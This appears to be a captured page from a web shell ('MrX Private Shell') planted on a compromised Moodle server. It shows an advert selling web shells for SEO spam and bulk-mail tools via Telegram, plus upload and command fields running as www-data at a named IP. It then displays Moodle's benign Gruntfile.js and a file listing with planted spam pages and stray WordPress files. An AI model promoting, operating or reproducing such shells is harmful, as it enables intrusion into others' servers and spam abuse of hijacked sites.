__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.218: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
/* jshint node: true, browser: false */
/* eslint-env node */

/**
 * Grunt configuration for Moodle.
 *
 * @copyright  2014 Andrew Nicols
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Setup the Grunt Moodle environment.
 *
 * @param   {Grunt} grunt
 * @returns {Object}
 */
const setupMoodleEnvironment = grunt => {
    const fs = require('fs');
    const path = require('path');
    const ComponentList = require(path.join(process.cwd(), '.grunt', 'components.js'));

    const getAmdConfiguration = () => {
        // If the cwd is the amd directory in the current component then it will be empty.
        // If the cwd is a child of the component's AMD directory, the relative directory will not start with ..
        let inAMD = !path.relative(`${componentDirectory}/amd`, cwd).startsWith('..');

        // Globbing pattern for matching all AMD JS source files.
        let amdSrc = [];
        if (inComponent) {
            amdSrc.push(
                componentDirectory + "/amd/src/*.js",
                componentDirectory + "/amd/src/**/*.js"
            );
        } else {
            amdSrc = ComponentList.getAmdSrcGlobList();
        }

        return {
            inAMD,
            amdSrc,
        };
    };

    const getYuiConfiguration = () => {
        let yuiSrc = [];
        if (inComponent) {
            yuiSrc.push(componentDirectory + "/yui/src/**/*.js");
        } else {
            yuiSrc = ComponentList.getYuiSrcGlobList(gruntFilePath + '/');
        }

        return {
            yuiSrc,
        };
    };

    const getStyleConfiguration = () => {
        const ComponentList = require(path.join(process.cwd(), '.grunt', 'components.js'));
        // Build the cssSrc and scssSrc.
        // Valid paths are:
        // [component]/styles.css; and either
        // [theme/[themename]]/scss/**/*.scss; or
        // [theme/[themename]]/style/*.css.
        //
        // If a theme has scss, then it is assumed that the style directory contains generated content.
        let cssSrc = [];
        let scssSrc = [];

        const checkComponentDirectory = componentDirectory => {
            const isTheme = componentDirectory.startsWith('theme/');
            if (isTheme) {
                const scssDirectory = `${componentDirectory}/scss`;

                if (fs.existsSync(scssDirectory)) {
                    // This theme has an SCSS directory.
                    // Include all scss files within it recursively, but do not check for css files.
                    scssSrc.push(`${scssDirectory}/*.scss`);
                    scssSrc.push(`${scssDirectory}/**/*.scss`);
                } else {
                    // This theme has no SCSS directory.
                    // Only hte CSS files in the top-level directory are checked.
                    cssSrc.push(`${componentDirectory}/style/*.css`);
                }
            } else {
                // This is not a theme.
                // All other plugin types are restricted to a single styles.css in their top level.
                cssSrc.push(`${componentDirectory}/styles.css`);
            }
        };

        if (inComponent) {
            checkComponentDirectory(componentDirectory);
        } else {
            ComponentList.getComponentPaths(`${gruntFilePath}/`).forEach(componentPath => {
                checkComponentDirectory(componentPath);
            });
        }

        return {
            cssSrc,
            scssSrc,
        };
    };

    /**
     * Calculate the cwd, taking into consideration the `root` option (for Windows).
     *
     * @param {Object} grunt
     * @returns {String} The current directory as best we can determine
     */
    const getCwd = grunt => {
        let cwd = fs.realpathSync(process.env.PWD || process.cwd());

        // Windows users can't run grunt in a subdirectory, so allow them to set
        // the root by passing --root=path/to/dir.
        if (grunt.option('root')) {
            const root = grunt.option('root');
            if (grunt.file.exists(__dirname, root)) {
                cwd = fs.realpathSync(path.join(__dirname, root));
                grunt.log.ok('Setting root to ' + cwd);
            } else {
                grunt.fail.fatal('Setting root to ' + root + ' failed - path does not exist');
            }
        }

        return cwd;
    };

    // Detect directories:
    // * gruntFilePath          The real path on disk to this Gruntfile.js
    // * cwd                    The current working directory, which can be overridden by the `root` option
    // * relativeCwd            The cwd, relative to the Gruntfile.js
    // * componentDirectory     The root directory of the component if the cwd is in a valid component
    // * inComponent            Whether the cwd is in a valid component
    // * runDir                 The componentDirectory or cwd if not in a component, relative to Gruntfile.js
    // * fullRunDir             The full path to the runDir
    const gruntFilePath = fs.realpathSync(process.cwd());
    const cwd = getCwd(grunt);
    const relativeCwd = path.relative(gruntFilePath, cwd);
    const componentDirectory = ComponentList.getOwningComponentDirectory(relativeCwd);
    const inComponent = !!componentDirectory;
    const inTheme = !!componentDirectory && componentDirectory.startsWith('theme/');
    const runDir = inComponent ? componentDirectory : relativeCwd;
    const fullRunDir = fs.realpathSync(gruntFilePath + path.sep + runDir);
    const {inAMD, amdSrc} = getAmdConfiguration();
    const {yuiSrc} = getYuiConfiguration();
    const {cssSrc, scssSrc} = getStyleConfiguration();

    let files = null;
    if (grunt.option('files')) {
        // Accept a comma separated list of files to process.
        files = grunt.option('files').split(',');
    }

    grunt.log.debug('============================================================================');
    grunt.log.debug(`= Node version:        ${process.versions.node}`);
    grunt.log.debug(`= grunt version:       ${grunt.package.version}`);
    grunt.log.debug(`= process.cwd:         '` + process.cwd() + `'`);
    grunt.log.debug(`= process.env.PWD:     '${process.env.PWD}'`);
    grunt.log.debug(`= path.sep             '${path.sep}'`);
    grunt.log.debug('============================================================================');
    grunt.log.debug(`= gruntFilePath:       '${gruntFilePath}'`);
    grunt.log.debug(`= relativeCwd:         '${relativeCwd}'`);
    grunt.log.debug(`= componentDirectory:  '${componentDirectory}'`);
    grunt.log.debug(`= inComponent:         '${inComponent}'`);
    grunt.log.debug(`= runDir:              '${runDir}'`);
    grunt.log.debug(`= fullRunDir:          '${fullRunDir}'`);
    grunt.log.debug('============================================================================');

    if (inComponent) {
        grunt.log.ok(`Running tasks for component directory ${componentDirectory}`);
    }

    return {
        amdSrc,
        componentDirectory,
        cwd,
        cssSrc,
        files,
        fullRunDir,
        gruntFilePath,
        inAMD,
        inComponent,
        inTheme,
        relativeCwd,
        runDir,
        scssSrc,
        yuiSrc,
    };
};

/**
 * Verify tha tthe current NodeJS version matches the required version in package.json.
 *
 * @param   {Grunt} grunt
 */
const verifyNodeVersion = grunt => {
    const semver = require('semver');

    // Verify the node version is new enough.
    var expected = semver.validRange(grunt.file.readJSON('package.json').engines.node);
    var actual = semver.valid(process.version);
    if (!semver.satisfies(actual, expected)) {
        grunt.fail.fatal('Node version not satisfied. Require ' + expected + ', version installed: ' + actual);
    }
};

/**
 * Grunt configuration.
 *
 * @param {Grunt} grunt
 */
module.exports = function(grunt) {
    // Verify that the Node version meets our requirements.
    verifyNodeVersion(grunt);

    // Setup the Moodle environemnt within the Grunt object.
    grunt.moodleEnv = setupMoodleEnvironment(grunt);

    /**
     * Add the named task.
     *
     * @param   {string} name
     * @param   {Grunt} grunt
     */
    const addTask = (name, grunt) => {
        const path = require('path');
        const taskPath = path.resolve(`./.grunt/tasks/${name}.js`);

        grunt.log.debug(`Including tasks for ${name} from ${taskPath}`);

        require(path.resolve(`./.grunt/tasks/${name}.js`))(grunt);
    };

    // Startup tasks.
    grunt.moodleEnv.startupTasks = [];

    // Add Moodle task configuration.
    addTask('gherkinlint', grunt);
    addTask('ignorefiles', grunt);

    addTask('javascript', grunt);
    addTask('style', grunt);
    addTask('componentlibrary', grunt);

    addTask('watch', grunt);
    addTask('startup', grunt);

    addTask('upgradablelibs', grunt);

    // Register the default task.
    grunt.registerTask('default', ['startup']);
};

Filemanager

Name Type Size Permission Actions
.github Folder 0755
.grunt Folder 0755
.phpstorm.meta.php Folder 0755
.trash7206 Folder 0755
.upgradenotes Folder 0755
634867 Folder 0755
9865a Folder 0555
admin Folder 0755
ai Folder 0755
analytics Folder 0755
auth Folder 0755
availability Folder 0755
backup Folder 0755
badges Folder 0755
blocks Folder 0755
blog Folder 0755
cache Folder 0755
calendar Folder 0755
cohort Folder 0755
comment Folder 0755
communication Folder 0755
competency Folder 0755
completion Folder 0755
contentbank Folder 0755
course Folder 0755
customfield Folder 0755
dataformat Folder 0755
enrol Folder 0755
error Folder 0755
favourites Folder 0755
files Folder 0755
filter Folder 0755
grade Folder 0755
group Folder 0755
h5p Folder 0755
images Folder 0755
install Folder 0755
iplookup Folder 0755
lang Folder 0755
lib Folder 0755
local Folder 0755
login Folder 0755
media Folder 0755
message Folder 0755
mnet Folder 0755
mod Folder 0755
moodlenet Folder 0755
mp4 Folder 0755
my Folder 0755
notes Folder 0755
payment Folder 0755
pix Folder 0755
plagiarism Folder 0755
portfolio Folder 0755
privacy Folder 0755
question Folder 0755
rating Folder 0755
report Folder 0755
reportbuilder Folder 0755
repository Folder 0755
rss Folder 0755
search Folder 0755
sms Folder 0755
tag Folder 0755
theme Folder 0755
user Folder 0755
userpix Folder 0755
vKbrBHixfuYwEeP Folder 0755
webalizer Folder 0755
webservice Folder 0755
wp-content Folder 0755
wp-includes Folder 0755
.eslintrc File 8.23 KB 0644
.gherkin-lintrc File 597 B 0644
.gitattributes File 142 B 0644
.htaccess File 1.13 KB 0555
.jshintignore File 16 B 0644
.jshintrc File 1.51 KB 0644
.nvmrc File 8 B 0644
.shifter.json File 67 B 0644
.stylelintrc File 4.82 KB 0644
CONTRIBUTING.md File 2.59 KB 0644
COPYING.txt File 34.32 KB 0644
Gruntfile.js File 9.44 KB 0644
INSTALL.txt File 664 B 0644
README.md File 1.85 KB 0644
TRADEMARK.txt File 3.29 KB 0644
UPGRADING.md File 70.63 KB 0644
behat.yml.dist File 311 B 0644
brokenfile.php File 1.13 KB 0644
buy.php File 1.46 KB 0444
composer.json File 2.04 KB 0644
composer.lock File 164.29 KB 0644
config-dist.php File 67.04 KB 0644
config.php File 616 B 0644
defaults.php File 1.93 KB 0444
draftfile.php File 2.61 KB 0644
editmode.php File 1.35 KB 0644
file.php File 3.83 KB 0644
githash.php File 953 B 0644
goods.php File 1.45 KB 0444
help.php File 1.83 KB 0644
help_ajax.php File 1.39 KB 0644
index.php File 17.66 KB 0555
index.php0 File 17.66 KB 0755
install.php File 25.24 KB 0644
networks.php File 1.93 KB 0444
npm-shrinkwrap.json File 473.4 KB 0644
options.php File 1.29 KB 0444
package.json File 1.78 KB 0644
phpcs.xml.dist File 145 B 0644
phpunit.xml.dist File 15.63 KB 0644
pluginfile.php File 1.64 KB 0644
plugins.php File 1.72 KB 0444
product.php File 1.93 KB 0444
r.php File 2.96 KB 0644
report.html File 638.38 KB 0644
robots.txt File 412 B 0444
security.txt File 670 B 0644
tokenpluginfile.php File 1.63 KB 0644
version.php File 1.6 KB 0644
wp-blog-header.php File 2.73 KB 0644
wp-cron.php File 2.73 KB 0644
wp-load.php File 0 B 0644
Filemanager